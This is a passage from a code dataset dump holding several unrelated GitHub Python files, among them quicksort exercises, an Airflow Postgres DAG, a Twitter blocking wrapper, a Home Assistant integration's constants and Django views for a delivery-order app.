gdal.GDT_Float32)\n dst.SetGeoTransform(data.GetGeoTransform())\n dst.SetProjection(data.GetProjection())\n gdal.ReprojectImage(t, dst, t.GetProjection(), data.GetProjection(), gdal.GRA_NearestNeighbour)\n del dst\n # cut = gdal.Warp('cutout.tif', t, outputBoundsSRS=srs, outputBounds=[ulx, lry, lrx, uly])\n cut = gdal.Open('cutout.tif')\n culx, cxres, cxskew, culy, cyskew, cyres = cut.GetGeoTransform()\n arr = cut.ReadAsArray()\n print (day, np.sum(arr == 0))\n assert arr.shape == shape, \"{} is not equal to {}\".format(arr.shape, shape)\n if test_run:\n for x in range(16):\n matrix[:, :, x] = arr\n continue\n else:\n matrix[:, :, i] = arr\n for layer in range(16):\n matrix[:, :, layer][nir_arr == -1000] = -1000\n\n # Resize doy array\n # resize using nn\n # resized_doy = scipy.ndimage.zoom(doy_arr, ratio, order=0)\n i, j = np.ogrid[:shape[0], :shape[1]]\n doy_arr -= doy\n doy_arr = doy_arr.clip(min=0)\n # assert doy_arr.max() == 15 # prevent off by one errors\n composite = matrix[i, j, doy_arr]\n\n\n def array_to_raster_w_source(dst_filename, array, source):\n \"\"\"Array > Raster\n Save a raster from a C order array using another dataset as source.\n\n :param array: ndarray\n \"\"\"\n driver = gdal.GetDriverByName('GTiff')\n\n dataset = driver.Create(\n dst_filename,\n array.shape[1],\n array.shape[0],\n 1,\n gdal.GDT_Float32)\n\n dataset.SetGeoTransform(source.GetGeoTransform())\n dataset.GetRasterBand(1).WriteArray(array)\n dataset.GetRasterBand(1).SetNoDataValue(-1000) ##if you want these values transparent\n dataset.SetGeoTransform(source.GetGeoTransform())\n dataset.SetProjection(source.GetProjection())\n dataset.FlushCache() # Write to disk.\n\n\n fn = 'composite/{}/{}.tif'.format(doy, filepath.split('.')[2])\n if not os.path.exists(os.path.dirname(fn)):\n os.makedirs(os.path.dirname(fn))\n array_to_raster_w_source(fn, composite, cut) # use the cutout for proper resolution\n os.system(\n 'gdal_merge.py -n -1000 -a_nodata -1000 -of GTiff -o composite/{}/composite-{}.tif composite/{}/h*.tif'.format(doy, doy, doy))\n","repo_name":"Sciguymjm/super-resolution","sub_path":"data/goes-composite.py","file_name":"goes-composite.py","file_ext":"py","file_size_in_byte":9058,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"71707812844","text":"def read_txt(path):\n array = []\n with open(path, 'r') as file:\n lines = file.readlines()\n for line in lines:\n array.append(int(line.rstrip()))\n return array\n\ndef QuickSort1(array, l, r):\n \"\"\"\n Sort a given array with quick sort. The pivot element is fixed as the first element.\n\n Params:\n array: an array to be sorted;\n l: the left index;\n r: the right index.\n\n Return:\n num: number of counts.\n \"\"\"\n\n if l >= r:\n return 0\n else:\n num = r - l\n ## the first element is the pivot element\n i = l\n for j in range(l+1, r+1):\n if array[j] < array[l]:\n i += 1\n array[i], array[j] = array[j], array[i]\n\n ## exchange the pivot and array[i]\n array[l], array[i] = array[i], array[l]\n\n left_num = QuickSort1(array, l, i-1)\n right_num = QuickSort1(array, i+1, r)\n\n num = num + left_num + right_num\n\n return num\n\ndef QuickSort2(array, l, r):\n \"\"\"\n Sort a given array with quick sort. The pivot element is fixed as the last element.\n\n Params:\n array: an array to be sorted;\n l: the left index;\n r: the right index.\n\n Return:\n num: number of counts.\n \"\"\"\n\n if l >= r:\n return 0\n else:\n ## Exchange the first and the last element so that the original last element is the pivot.\n array[l], array[r] = array[r], array[l]\n \n num = r - l\n ## the first element is the pivot element\n i = l\n for j in range(l+1, r+1):\n if array[j] < array[l]:\n i += 1\n array[i], array[j] = array[j], array[i]\n\n ## exchange the pivot and array[i]\n array[l], array[i] = array[i], array[l]\n\n left_num = QuickSort2(array, l, i-1)\n right_num = QuickSort2(array, i+1, r)\n\n num = num + left_num + right_num\n\n return num\n\ndef QuickSort3(array, l, r):\n \"\"\"\n Sort a given array with quick sort. The pivot element is selected according to the \"median-of-three\" rule.\n\n Params:\n array: an array to be sorted;\n l: the left index;\n r: the right index.\n\n Return:\n num: number of counts.\n \"\"\"\n\n if l >= r:\n return 0\n else:\n mid = (l + r) // 2\n \n median = l\n if (array[l] <= array[mid] <= array[r]) or (array[r] <= array[mid] <= array[l]):\n median = mid\n elif (array[l] <= array[r] <= array[mid]) or (array[mid] <= array[r] <= array[l]):\n median = r\n \n array[l], array[median] = array[median], array[l]\n\n num = r - l\n ## the first element is the pivot element\n i = l\n for j in range(l+1, r+1):\n if array[j] < array[l]:\n i += 1\n array[i], array[j] = array[j], array[i]\n\n ## exchange the pivot and array[i]\n array[l], array[i] = array[i], array[l]\n\n left_num = QuickSort3(array, l, i-1)\n right_num = QuickSort3(array, i+1, r)\n\n num = num + left_num + right_num\n\n return num\n\nif __name__ == \"__main__\":\n array = read_txt(\"QuickSort.txt\") \n num = QuickSort1(array, 0, len(array)-1)\n #output: 162085\n\n array = read_txt(\"QuickSort.txt\")\n num = QuickSort2(array, 0, len(array)-1)\n #output: 164123\n\n array = read_txt(\"QuickSort.txt\")\n num = QuickSort3(array, 0, len(array)-1)\n #output: 138382","repo_name":"peng00bo00/Coursera-Algorithms","sub_path":"01 Divide and Conquer, Sorting and Searching, and Randomized Algorithms/algo1assignments/Programming Assignment #3/QuickSort.py","file_name":"QuickSort.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"118217877","text":"import sys\n\n\ndef factorial(n):\n # n! can also be defined as n * (n-1)!\n \"\"\" calculates n! recursively \"\"\"\n if n <= 1:\n return 1\n else:\n return n * factorial(n-1)\n\n\ntry:\n number = input(\"Enter a number:\")\n print(factorial(int(number)))\nexcept EOFError as error:\n print(\"Ctrl-D was caught, program terminated!\")\n sys.exit(9)\nexcept (RecursionError, OverflowError):\n # perform any tidy up or retry operation\n print(\"This program cannot calculate factorials that large\")\nexcept (NameError, TypeError, ValueError):\n print(\"Please enter a number not a character\")\nexcept Exception:\n print(\"Base class for all exceptions, catch all but should use specific exception\")\nelse:\n print(\"Program executed correctly, else wont be called if program terminates\")\nfinally:\n print(\"finally will always execute, good for tidying up!\")\n\nprint(\"Back to main program - Program terminating\")\n","repo_name":"datadiskpfv/basics1","sub_path":"exceptions/examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23430419618","text":"import csv\nfrom airflow import DAG\nfrom datetime import datetime\nfrom airflow.operators.python import PythonOperator\nfrom airflow.providers.postgres.operators.postgres import PostgresOperator\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.operators.empty import EmptyOperator\nfrom airflow.operators.bash import BashOperator\n\n# Загружаем данные в таблицу из csv\ndef insert_data_py():\n src = PostgresHook(postgres_conn_id='qiberry')\n print(\"Postgres connect success\")\n csv_path = \"./dags/data.csv\"\n with open(csv_path, 'r') as f:\n reader = csv.reader(f)\n for row in reader:\n src.insert_rows(table='public.people', rows=[row])\n\n# Делаем select запрос к таблице planes и заносим полученные данные в xcom\ndef select_data_py(**kwargs):\n ti = kwargs[\"ti\"]\n src = PostgresHook(postgres_conn_id='qiberry')\n src_conn = src.get_conn()\n print(\"Postgres connect success\")\n cursor = src_conn.cursor()\n select_query = \"select avg(public.people.age) from public.people\"\n cursor.execute(select_query)\n value = float(cursor.fetchall()[0][0])*2\n print(value)\n ti.xcom_push(value=value, key='avg_cost')\n\nwith DAG(\n dag_id = \"qiberry\",\n start_date = datetime(2021, 12, 1),\n schedule = None,\n catchup = False,\n tags = ['qiberry']\n) as dag:\n src = PostgresHook(postgres_conn_id='qiberry')\n src_conn = src.get_conn()\n\n # Удалить таблицу/таблицы\n delete_table = PostgresOperator(\n task_id=\"delete_table\",\n postgres_conn_id=\"qiberry\",\n sql=\"\"\"\n DROP TABLE if exists public.people\n \"\"\"\n )\n\n # Создаем таблицу в БД airflow (схема public)\n create_table_people = PostgresOperator(\n task_id=\"create_table_people\",\n #trigger_rule='one_failed',\n postgres_conn_id=\"qiberry\",\n sql=\"\"\"\n CREATE TABLE IF NOT EXISTS public.people (\n firstname varchar,\n lastname varchar,\n age int,\n sex varchar,\n color varchar\n );\n \"\"\"\n )\n\n # Заносим данные в таблицу\n insert_data = PythonOperator(\n task_id='insert_data',\n python_callable=insert_data_py,\n provide_context=True\n )\n\n # Запрос к таблице\n select_data = PythonOperator(\n task_id='select_data',\n python_callable=select_data_py\n )\n\n # Выводим среднее значение cost из xcom в логи\n bash_step = BashOperator(\n task_id='bash_step_py',\n bash_command=\"echo {{ti.xcom_pull(key = 'avg_cost')}}\"\n )\n\n delete_table >> create_table_people >> insert_data >> select_data >> bash_step\n","repo_name":"qiBerry/lab-work-airflow","sub_path":"dags/dag_laba3.py","file_name":"dag_laba3.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70935502444","text":"import oauth, httplib\nfrom twitter import *\n\ntry:\n import simplejson\nexcept ImportError:\n try:\n import json as simplejson\n except ImportError:\n try:\n from django.utils import simplejson\n except:\n raise \"Requires either simplejson, Python 2.6 or django.utils!\"\n\nfrom django.http import *\nfrom twitter_app.utils import *\n\nCONSUMER = oauth.OAuthConsumer(CONSUMER_KEY, CONSUMER_SECRET)\nCONNECTION = httplib.HTTPSConnection(SERVER)\n\nclass Twit:\n \n def __init__(self, request):\n access_token = request.session.get('access_token', None)\n token = oauth.OAuthToken.from_string(access_token)\n self.twit = Twitter(auth=OAuth(token.key, token.secret,\n CONSUMER_KEY, CONSUMER_SECRET))\n self.login_id = request.session.get('login_id')\n self.login_name = request.session.get('login_name')\n self.login_screen_name = request.session.get('login_screen_name')\n \n def get_id(self):\n return self.login_id\n \n def get_name(self):\n return self.login_name\n \n def get_screen_name(self):\n return self.login_screen_name\n \n def show_user(self, user_id):\n return self.twit.users.show(user_id=user_id)\n \n def block_user(self, user_id):\n response = self.twit.blocks.create(user_id=user_id)\n \n def get_blocked_ids(self):\n response = self.twit.blocks.ids()\n data_list = response.get('ids')\n next_cursor = response.get('next_cursor')\n while next_cursor != 0:\n response = self.twit.blocks.ids(cursor=next_cursor)\n next_cursor = response.get('next_cursor')\n data_list = data_list + response.get('ids')\n if next_cursor == 0:\n break\n return data_list\n \n def get_blocked_users(self):\n response = self.twit.blocks.list()\n data_list = response.get('users')\n next_cursor = response.get('next_cursor')\n while next_cursor != 0:\n response = self.twit.blocks.list(cursor=next_cursor)\n next_cursor = response.get('next_cursor')\n data_list = data_list + response.get('users')\n if next_cursor == 0:\n break\n return data_list\n \n def unblock_user(self, user_id):\n response = self.twit.blocks.destroy(user_id=user_id)\n \n def get_friends(self):\n response = self.twit.friends.list(user_id=self.login_id)\n data_list = response.get('users')\n next_cursor = response.get('next_cursor')\n while next_cursor != 0:\n response = self.twit.friends.list(user_id=self.login_id,\n cursor=next_cursor)\n next_cursor = response.get('next_cursor')\n data_list = data_list + response.get('users')\n if next_cursor == 0:\n break\n return data_list\n \n def get_friends_ids(self):\n response = self.twit.friends.ids(user_id=self.login_id)\n data_list = response.get('ids')\n next_cursor = response.get('next_cursor')\n while next_cursor != 0:\n response = self.twit.friends.ids(user_id=self.login_id,\n cursor=next_cursor)\n next_cursor = response.get('next_cursor')\n data_list = data_list + response.get('ids')\n if next_cursor == 0:\n break\n return data_list\n \n def get_followers(self):\n response = self.twit.followers.list()\n next_cursor = response.get('next_cursor')\n data_list = response.get('users')\n while next_cursor != 0:\n response = self.twit.followers.list(cursor=next_cursor)\n next_cursor = response.get('next_cursor')\n data_list = data_list + response.get('users')\n if next_cursor == 0:\n break\n return data_list\n","repo_name":"jayachandp/troll-block","sub_path":"block_list/Twit.py","file_name":"Twit.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"26500301254","text":"import click\r\nfrom flask import Flask\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.orm import scoped_session, sessionmaker\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\n\r\nengine = create_engine('sqlite:///database.sqlite')\r\ndb_session = scoped_session(sessionmaker(autocommit=False,\r\n autoflush=False,\r\n bind=engine))\r\nBase = declarative_base()\r\nBase.query = db_session.query_property()\r\n\r\n\r\ndef shutdown_session(exception=None):\r\n db_session.remove()\r\n\r\n\r\ndef init_db():\r\n import backend.models\r\n Base.metadata.drop_all(bind=engine)\r\n Base.metadata.create_all(bind=engine)\r\n\r\n\r\n@click.command('init-db')\r\ndef init_db_command():\r\n \"\"\"Clear the existing data and create new tables.\"\"\"\r\n init_db()\r\n click.echo('Initialized the database.')\r\n\r\n\r\ndef init_app(app: Flask):\r\n app.teardown_appcontext(shutdown_session)\r\n app.cli.add_command(init_db_command)\r\n","repo_name":"Ali-Elganzory/Semantic-Image-Manipulation","sub_path":"backend/backend/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74783509483","text":"import torch\nimport torch.nn as nn\n\nimport torchvision.models as models\n\nclass ResNet18(nn.Module):\n \"\"\"Used for Cross-entropy, CRM, Making-better-mistakes.\"\"\"\n\n def __init__(self, model, feature_size, num_classes):\n super(ResNet18, self).__init__()\n\n self.features_2 = nn.Sequential(*list(model.children())[:-2])\n self.max = nn.MaxPool2d(kernel_size=7, stride=7)\n self.num_ftrs = 512\n \n self.features_1 = nn.Sequential(\n nn.BatchNorm1d(self.num_ftrs),\n nn.Linear(self.num_ftrs, feature_size),\n nn.BatchNorm1d(feature_size),\n nn.ELU(inplace=True),\n )\n self.classifier_3 = nn.Sequential(\n nn.Linear(feature_size, num_classes), )\n\n def forward(self, x):\n x = self.features_2(x)\n x = self.max(x)\n x = x.view(x.size(0), -1)\n x = self.features_1(x)\n y = self.classifier_3(x)\n return y\n \ndef load_checkpoint(arch, num_classes, checkpoint_path):\n model = models.__dict__[arch](pretrained=True)\n model = ResNet18(model, feature_size=600, num_classes=num_classes)\n\n print(f'Using checkpoint at {checkpoint_path}!')\n checkpoint = torch.load(checkpoint_path, map_location=torch.device('cuda'))\n checkpoint = checkpoint[\"state_dict\"]\n\n model = nn.DataParallel(model)\n model.load_state_dict(checkpoint)\n model = model.to('cuda')\n model.eval();\n \n return model","repo_name":"kanji95/Hierarchical-Ensembles","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"12807666018","text":"from collections import deque\nN, M = map(int, input().split())\nboard = []\ndir_x = [1, 0, -1, 0]\ndir_y = [0, 1, 0, -1]\nvisited = [[[[False for i in range(M)] for j in range(N)] for k in range(M)] for l in range(N)]\nres = 987654321\nr_cnt = 987654321\nflag = False\nfor i in range(N):\n board.append(list(input()))\n\ndef printBoard():\n print()\n for i in range(N):\n for j in range(M):\n print(board[i][j], end='')\n print()\n print()\n\ndef move(x, y, dx, dy):\n cnt = 0\n while board[y + dy][x + dx] != '#' and board[y][x] != 'O':\n x += dx\n y += dy\n cnt += 1\n return x, y, cnt\n\ndef BFS():\n global res\n Q = deque()\n\n for i in range(N):\n for j in range(M):\n if board[i][j] == 'R':\n red_tmp = [j, i]\n if board[i][j] == 'B':\n blud_tmp = [j, i]\n Q.append([red_tmp[0], red_tmp[1], blud_tmp[0], blud_tmp[1], 1])\n visited[red_tmp[1]][red_tmp[0]][blud_tmp[1]][blud_tmp[0]] = True\n while Q:\n red_x, red_y, blue_x, blue_y, cnt = Q.popleft()\n if cnt > 10:\n return\n for i in range(4):\n red_x_n, red_y_n, red_cnt = move(red_x, red_y, dir_x[i], dir_y[i])\n blue_x_n, blue_y_n, blue_cnt = move(blue_x, blue_y, dir_x[i], dir_y[i])\n if board[blue_y_n][blue_x_n] != 'O':\n if board[red_y_n][red_x_n] == 'O':\n res = min(res, cnt)\n if red_x_n == blue_x_n and red_y_n == blue_y_n:\n if red_cnt > blue_cnt:\n red_x_n -= dir_x[i]\n red_y_n -= dir_y[i]\n else:\n blue_x_n -= dir_x[i]\n blue_y_n -= dir_y[i]\n if not visited[red_y_n][red_x_n][blue_y_n][blue_x_n]:\n visited[red_y_n][red_x_n][blue_y_n][blue_x_n] = True\n Q.append([red_x_n, red_y_n, blue_x_n, blue_y_n, cnt+1])\n\nBFS()\nif res > 10:\n res = -1\nprint(res)","repo_name":"HJinS/AlgorithmPractice","sub_path":"AlgorithmMiddle/BruteForceBitmask/13460.py","file_name":"13460.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"11350772779","text":"#!/usr/bin/env python\n\"\"\"\nCREATED AT: 2022/4/25\nDes:\nhttps://leetcode.com/problems/random-pick-index/\nGITHUB: https://github.com/Jiezhi/myleetcode\n\nDifficulty: Medium\n\nTag: \n\nSee: \n\n\"\"\"\nimport collections\nimport random\nfrom typing import List\n\n\nclass Solution:\n \"\"\"\n Runtime: 440 ms, faster than 34.43%\n Memory Usage: 24.3 MB, less than 13.02%\n 1 <= nums.length <= 2 * 10^4\n -2^31 <= nums[i] <= 2^31 - 1\n target is an integer from nums.\n At most 10^4 calls will be made to pick.\n \"\"\"\n\n def __init__(self, nums: List[int]):\n self.dct = collections.defaultdict(list)\n for i, num in enumerate(nums):\n self.dct[num].append(i)\n\n def pick(self, target: int) -> int:\n return random.choice(self.dct[target])\n\n\ndef test():\n nums = [1, 2, 3, 3, 3]\n s = Solution(nums)\n for i in range(10):\n assert s.pick(3) in [2, 3, 4]\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"Jiezhi/myleetcode","sub_path":"src/398-RandomPickIndex.py","file_name":"398-RandomPickIndex.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"13070573170","text":"from copy import deepcopy\n\nimport bisect\nimport logging\nimport json\n\n\nclass Graph:\n def __init__(self):\n self._title = \"untitled\"\n\n self._vertices = [False] # (isDirected: bool, adjacency_list...)\n self._vertices_names = {} # \"name\": index_int\n self._vertices_weights = [False] # (isVertexWeighted: bool, weight: float...)\n self._edges_weights = [False] # (isEdgeWeighted: bool, matrix_float(vertexStart: int, vertexEnd: int))\n\n def title(self):\n return self._title\n\n def setTitle(self, title: str):\n self._title = title\n\n def setVerticesFromAdjacencyList(self, adjacencyList: list, isDirected: bool):\n self._vertices = [isDirected]\n for i in range(1, len(adjacencyList)):\n self._vertices.append(adjacencyList[i][:])\n\n self._vertices_names = {str(i): i for i in range(1, len(adjacencyList))}\n\n def addVertex(self, vertex: str):\n if vertex in self._vertices_names:\n raise ValueError(f\"Vertex {vertex} already exist\")\n self._vertices.append([])\n self._vertices_names[vertex] = len(self._vertices) - 1\n\n def removeVertex(self, vertex: str):\n try:\n v = self._vertices_names[vertex]\n except KeyError as e:\n raise RuntimeError(f\"Vertex {e} does not exist\") from e\n\n for adj in range(1, len(self._vertices)):\n if adj != v:\n listLength = len(self._vertices[adj])\n for i in range(listLength):\n ri = listLength - 1 - i\n if self._vertices[adj][ri] > v:\n self._vertices[adj][ri] -= 1\n \n elif self._vertices[adj][ri] == v:\n del self._vertices[adj][ri]\n\n del self._vertices[v]\n\n def addEdge(self, vertexStart: str, vertexEnd: str):\n try:\n vs = self._vertices_names[vertexStart]\n ve = self._vertices_names[vertexEnd]\n except KeyError as e:\n raise RuntimeError(f\"Vertex {e} does not exist\") from e\n\n bisect.insort(self._vertices[vs], ve)\n if not self._vertices[0]:\n bisect.insort(self._vertices[ve], vs)\n\n def removeEdge(self, vertexStart: str, vertexEnd: str):\n try:\n vs = self._vertices_names[vertexStart]\n ve = self._vertices_names[vertexEnd]\n except KeyError as e:\n raise RuntimeError(f\"Vertex {e} does not exist\") from e\n\n try:\n self._vertices[vs].remove(ve)\n except ValueError as e:\n logging.error(f\"Attempted to remove non-existant edge {vertexStart} -> {vertexEnd}\")\n return\n\n try:\n if not self._vertices[0]:\n self._vertices[ve].remove(vs)\n except ValueError as e:\n logging.error(f\"Attempted to remove non-existant edge {vertexEnd} -> {vertexStart}\")\n\n def vertices(self) -> list:\n return self._vertices[1:]\n\n def verticesWeights(self) -> list:\n if not self._vertices_weights:\n raise RuntimeError(\"This graph is not vertex weighted\")\n return self._vertices_weights[1:]\n\n def edges(self) -> list:\n L = []\n for v in range(1, len(self._vertices)):\n for n in self._vertices[v]:\n if v > n and not self._vertices[0]:\n continue\n L.append((v, n))\n return L\n\n def edgesWeights(self) -> list:\n if not self._edges_weights:\n raise RuntimeError(\"This graph is not edge weighted\")\n return deepcopy(self._edges_weights[1])\n\n def isDirected(self) -> bool:\n return self._vertices[0]\n\n def saveToFile(self, fileName: str):\n fileName = fileName.replace(\".json\", \"\") # Prevent double extension\n with open(f\"{fileName}.json\", \"w\") as file:\n json.dump(self.__dict__, file, indent=4)\n\n @staticmethod\n def loadFromFile(fileName: str): # -> Graph\n if not fileName.endswith(\".json\"):\n fileName += \".json\"\n with open(fileName, \"r\") as file:\n graphDict = json.load(file)\n\n g = Graph()\n g.__dict__ = graphDict.copy()\n return g\n\n def __eq__(self, obj):\n if not isinstance(obj, Graph):\n raise NotImplementedError\n\n if self is obj:\n return True\n\n return self.__dict__ == obj.__dict__\n\n def __ne__(self, obj):\n return not self == obj\n\n def __str__(self):\n return f\"{super().__str__()}: {self.__dict__}\"\n","repo_name":"hugotrsd/graphy","sub_path":"src/core/graphs/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"30909996811","text":"\"\"\"Constants for integration_blueprint.\"\"\"\nfrom datetime import timedelta\n\n# pylint: disable=unused-import\nfrom homeassistant.const import ( # noqa: F401\n ATTR_LOCATION,\n ATTR_MODEL,\n ATTR_NAME,\n CONF_API_KEY,\n CONF_CLIENT_ID,\n CONF_CLIENT_SECRET,\n)\nimport voluptuous as vol\n\n# Basics\nNAME = \"Bouncie\"\nVERSION = \"0.0.1\"\nISSUE_URL = \"https://github.com/niro1987/ha-bouncie/issues\"\nSTARTUP_MESSAGE = f\"\"\"\n-------------------------------------------------------------------\n{NAME}\nVersion: {VERSION}\nThis is a custom integration!\nIf you have any issues with this you need to open an issue here:\n{ISSUE_URL}\n-------------------------------------------------------------------\n\"\"\"\n\n# API\nBOUNCIE_PORTAL = \"https://www.bouncie.dev/\"\nOAUTH2_AUTHORIZE = \"https://auth.bouncie.com/dialog/authorize\"\nOAUTH2_TOKEN = \"https://auth.bouncie.com/oauth/token\"\nUSER_URL = \"https://api.bouncie.dev/v1/user\"\nVEHICLES_URL = \"https://api.bouncie.dev/v1/vehicles\"\nTRIPS_URL = \"https://api.bouncie.dev/v1/trips\"\nBOUNCIE_SCHEMA = vol.Schema(\n {\n vol.Required(CONF_CLIENT_ID): vol.Coerce(str),\n vol.Required(CONF_CLIENT_SECRET): vol.Coerce(str),\n vol.Required(CONF_API_KEY): vol.Coerce(str),\n }\n)\n\n# Component\nDOMAIN = \"bouncie\"\nBOUNCIE_EVENT = f\"{DOMAIN}_webhook\"\nUPDATE_INTERVAL = timedelta(hours=1)\nHA_URL = f\"/api/{DOMAIN}\"\nAPI = \"api\"\nUSER_COORDINATOR = \"user_coordinator\"\nVEHICLES_COORDINATOR = \"vehicles_coordinator\"\nVERIFICATION_TOKENS = \"verification_tokens\"\n\n# Bouncie Webhooks\nATTR_EVENT = \"eventType\"\nATTR_IMEI = \"imei\"\nATTR_VIN = \"vin\"\nATTR_NICKNAME = \"nickName\"\nATTR_MAKE = \"make\"\nATTR_DATA = \"data\"\nATTR_GPS = \"gps\"\nATTR_STATS = \"stats\"\nATTR_LAT = \"lat\"\nATTR_LON = \"lon\"\n\nWEBHOOK_RESPONSE_SCHEMA = vol.Schema(\n {\n vol.Required(ATTR_EVENT): vol.Coerce(str),\n vol.Required(ATTR_IMEI): vol.Coerce(str),\n vol.Required(ATTR_VIN): vol.Coerce(str),\n },\n extra=vol.ALLOW_EXTRA,\n)\nEVENT_CONNECT = \"connect\"\nEVENT_DISCONNECT = \"disconnect\"\nEVENT_BATTERY = \"battery\"\nEVENT_MIL = \"mil\"\nEVENT_TRIPSTART = \"tripStart\"\nEVENT_TRIPEND = \"tripEnd\"\nEVENT_TRIPMETRICS = \"tripMetrics\"\nEVENT_TRIPDATA = \"tripData\"\n\n# Platforms\nDEVICE_TRACKER = \"device_tracker\"\nSENSOR = \"sensor\"\nPLATFORMS = [DEVICE_TRACKER, SENSOR]\n","repo_name":"niro1987/ha-bouncie","sub_path":"custom_components/bouncie/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"5267961859","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect, HttpResponse\nfrom django.contrib.auth.forms import User\nfrom django.contrib import messages\nfrom .models import *\n# Create your views here.\n# from delivery_person.models import Order , Ongoing\nfrom D2D.decorators import allowed_users\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef deliverydashboard(request):\n order = Order.objects.all()\n return render(request, 'deliveryperson/dashboard.html', {'order' : order})\n\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef deliveryongoing(request):\n ongoing = Ongoing.objects.all()\n return render(request, 'deliveryperson/ongoing.html', {'ongoing' : ongoing})\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef deliveryrejected(request):\n rejected = Rejected.objects.all()\n return render(request, 'deliveryperson/rejected.html', {'rejected': rejected})\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef deliverycompleted(request):\n completed = Completed.objects.all()\n return render(request, 'deliveryperson/completed.html', {'completed' : completed})\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef deliverynotifications(request):\n return render(request, 'deliveryperson/notifications.html')\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef deliveryuser(request):\n return render(request, 'deliveryperson/user.html')\n\n\ndef handlefeedback(request):\n if request.method == 'POST':\n if request.POST.get('cf-name') and request.POST.get('cf-email') and request.POST.get('cf-message'):\n feedback = Feedback()\n feedback.name = request.POST['cf-name']\n feedback.email = request.POST['cf-email']\n feedback.message = request.POST['cf-message']\n feedback.save()\n messages.success(request, \"Thank you for your feedback\")\n return redirect('delivery_dashboard')\n else:\n return HttpResponse('404 - Not Found')\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef viewpendingorders(request, pk_test):\n order = Order.objects.get(id=pk_test)\n return render(request, 'viewpendingorders.html', {'ord' : order})\n\n\ndef hendlepending(request):\n if request.method == 'POST':\n orderid = request.POST.get('id') \n status= request.POST.get('status')\n if status=='OnGoing':\n on = Ongoing()\n on.sender_name = request.POST['sender_name']\n on.receiver_name = request.POST['receiver_name']\n on.product_name = request.POST['product_name']\n on.product_weight = request.POST['product_weight']\n on.contact_number = request.POST['contact_number']\n on.pickup_address = request.POST['pickup_address']\n on.delivery_address = request.POST['delivery_address']\n on.delivery_city = request.POST['delivery_city']\n on.DateTime = request.POST['DateTime']\n on.save()\n Order.objects.filter(id=orderid).delete()\n messages.success(request, \"Status updated to ongoing\")\n return redirect(\"ongoing\")\n elif status == 'Rejected':\n r = Rejected()\n r.sender_name = request.POST['sender_name']\n r.receiver_name = request.POST['receiver_name']\n r.product_name = request.POST['product_name']\n r.product_weight = request.POST['product_weight']\n r.contact_number = request.POST['contact_number']\n r.pickup_address = request.POST['pickup_address']\n r.delivery_address = request.POST['delivery_address']\n r.delivery_city = request.POST['delivery_city']\n r.DateTime = request.POST['DateTime']\n r.save()\n Order.objects.filter(id=orderid).delete()\n messages.success(request, \"Status updated to rejected\")\n return redirect(\"rejected\")\n else:\n return redirect('delivery_dashboard')\n else:\n return HttpResponse('404 - Not Found')\n\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef viewrejectedorders(request, pk_rejected):\n rejected = Rejected.objects.get(id=pk_rejected)\n return render(request, 'viewrejectedorders.html', {'orderre' : rejected})\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef viewscompletedorders(request, pk_completed):\n completed = Completed.objects.get(id=pk_completed)\n return render(request, 'viewscompletedorders.html', {'orderco' : completed})\n\n\n@login_required(login_url='/D2D-Login?')\n@allowed_users(allowed_roles=['Delivery_person'])\ndef viewongoingorders(request, pk_ongoing):\n ongoing = Ongoing.objects.get(id=pk_ongoing)\n return render(request, 'viewongoingorders.html', {'ondergo' : ongoing})\n\n\ndef hendleongoing(request):\n if request.method == 'POST':\n ongoing = request.POST.get('id')\n status= request.POST.get('status')\n if status=='completed':\n co = Completed()\n co.sender_name = request.POST['sender_name']\n co.receiver_name = request.POST['receiver_name']\n co.product_name = request.POST['product_name']\n co.product_weight = request.POST['product_weight']\n co.contact_number = request.POST['contact_number']\n co.pickup_address = request.POST['pickup_address']\n co.delivery_address = request.POST['delivery_address']\n co.delivery_city = request.POST['delivery_city']\n co.DateTime = request.POST['DateTime']\n co.save()\n 